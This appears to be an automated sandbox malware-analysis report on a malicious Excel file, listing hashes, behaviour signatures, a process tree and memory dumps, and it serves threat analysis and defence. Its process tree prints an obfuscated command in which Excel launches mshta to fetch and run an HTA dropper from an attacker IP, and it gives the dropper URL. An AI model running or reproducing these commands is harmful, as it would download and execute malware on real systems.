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Analysis

  • max time kernel
    133s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2024, 21:42

General

  • Target

    b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls

  • Size

    101KB

  • MD5

    ad38d630d30a724ffd07fecb6abc0729

  • SHA1

    839315e93e4a7d41db86ad65da2c59fbe0f256da

  • SHA256

    b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578

  • SHA512

    7bb2f222d3a32a0c444f4921e09ff2f9e8e18c1b08c0578e98eb25aeb155f003392fa91ec6eeb00aafb5053055be59468cfbf143d5ad7a53b9ed530f276aeaa0

  • SSDEEP

    3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1408
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe3.html
        3⤵
        • Blocklisted process makes network request
        PID:2140

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    3KB

    MD5

    06390db9ceddd14aeac407f3aac4921d

    SHA1

    4360a456ca438eca71e35daf12f7bb1871f262cd

    SHA256

    94cfdd2569c8549b8717b619544a29ef10ff450282f7f5fafe2637769fb09bd5

    SHA512

    c5f8c1cf2b333b45daf084f162c839a99d9463d1399e4782a35bbf308f59d9de481f26fb9312da2e5180a45b038fc03e895ca8c8b650ef604d405d18606edd40

  • memory/3928-4-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-12-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

    Filesize

    64KB

  • memory/3928-1-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

    Filesize

    64KB

  • memory/3928-6-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-5-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

    Filesize

    64KB

  • memory/3928-9-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-11-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-14-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-0-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

    Filesize

    64KB

  • memory/3928-8-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-3-0x00007FFB79C4D000-0x00007FFB79C4E000-memory.dmp

    Filesize

    4KB

  • memory/3928-7-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

    Filesize

    64KB

  • memory/3928-10-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-13-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp

    Filesize

    64KB

  • memory/3928-15-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-16-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-17-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-18-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-20-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-19-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-21-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-37-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp

    Filesize

    2.0MB

  • memory/3928-2-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp

    Filesize

    64KB